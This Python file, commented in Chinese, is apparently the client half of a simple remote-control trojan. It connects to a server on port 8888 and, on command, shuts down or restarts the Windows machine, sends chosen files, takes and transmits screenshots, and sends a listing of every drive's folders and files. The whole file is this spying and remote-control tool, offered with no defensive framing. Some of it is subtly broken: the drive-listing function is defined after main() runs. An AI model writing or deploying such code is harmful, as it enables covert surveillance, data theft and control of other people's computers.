from socket import *
import os
from PIL import ImageGrab
from win32api import *

def send_file(s):
     # 发送文件
     file_path = input('请输入文件名：')
     size = os.path.getsize(file_path)
     s.send(file_path.encode('utf-8'))
     # 发送图片大小
     s.send(str(size).encode())
     # 发送图片
     with open(file_path, 'rb') as file:
         for line in file:
             s.send(line)
     # 接收收到了图片
     p = s.recv(1024).decode('utf-8')
     print(p)
     cd(s)



def main():
    # 准备一个
    s = socket()
    # IP地址
    # IP = ''
    IP = gethostname()
    # 端口
    port = 8888
    # 连接
    s.connect((IP, port))
    # 一次最多接收1024个字节
    srd = s.recv(1024).decode()
    print(srd)
    cd(s)


def cd(s):
    # 接收
    choise = s.recv(1024).decode()
    # 关机
    if choise == '1':
        s.send('ok'.encode())
        os.system('shutdown -s -t 60')
    # 重启
    if choise == '2':
        s.send('ok'.encode())
        os.system('shutdown -r -t 60')
    # 发送文件
    elif choise == '3':
        while True:
            send_file(s)
    # 截图
    elif choise == '4':
        for i in range(5):
            # 截图
            img = ImageGrab.grab()
            # 改变大小
            img.resize((960, 540))
            # 保存
            img.save('11.jpg')
            # 获取图片大小
            size = os.path.getsize('11.jpg')
            # 发送图片大小
            s.send(str(size).encode())
            # 接收收到了图片大小确认
            s.recv(1024)
            # 发送图片
            with open('11.jpg', 'rb') as file:
                for line in file:
                    s.send(line)
            # 接收收到了图片
            s.recv(1024)
        cd(s)
    elif choise == '5':
        dir(s)
        cd(s)

main()



def dir(s):
    disk_list = GetLogicalDriveStrings()
    disk_list = disk_list.split('\x00')
    disk_list.pop(-1)
    print(disk_list)
    # pf = input('请输入要扫描的磁盘：')
    for pf in disk_list:
        for root, ds, fs in os.walk(pf):
            print('===================')
            print('根目录')
            print(root)
            print(len(root))
            r = ['根目录', root, len(root)]
            s.send(str(r).encode('utf-8'))
            print('===================')
            print('文件夹')
            print(ds)
            print(len(ds))
            d = ['文件夹', ds, len(ds)]
            s.send(str(d).encode('utf-8'))
            print('===================')
            print('文件')
            print(fs)
            print(len(fs))
            f = ['文件', fs, len(fs)]
            s.send(str(f).encode('utf-8'))
            print('===================')
    s.send('1'.encode('utf-8'))
    cd(s)




# 分身
# import threading
# def fs(s):
#     print('上面代码')
# # 开分身
# threading.Thread(target=fs, args=(s,)).start()









# send_file(s)















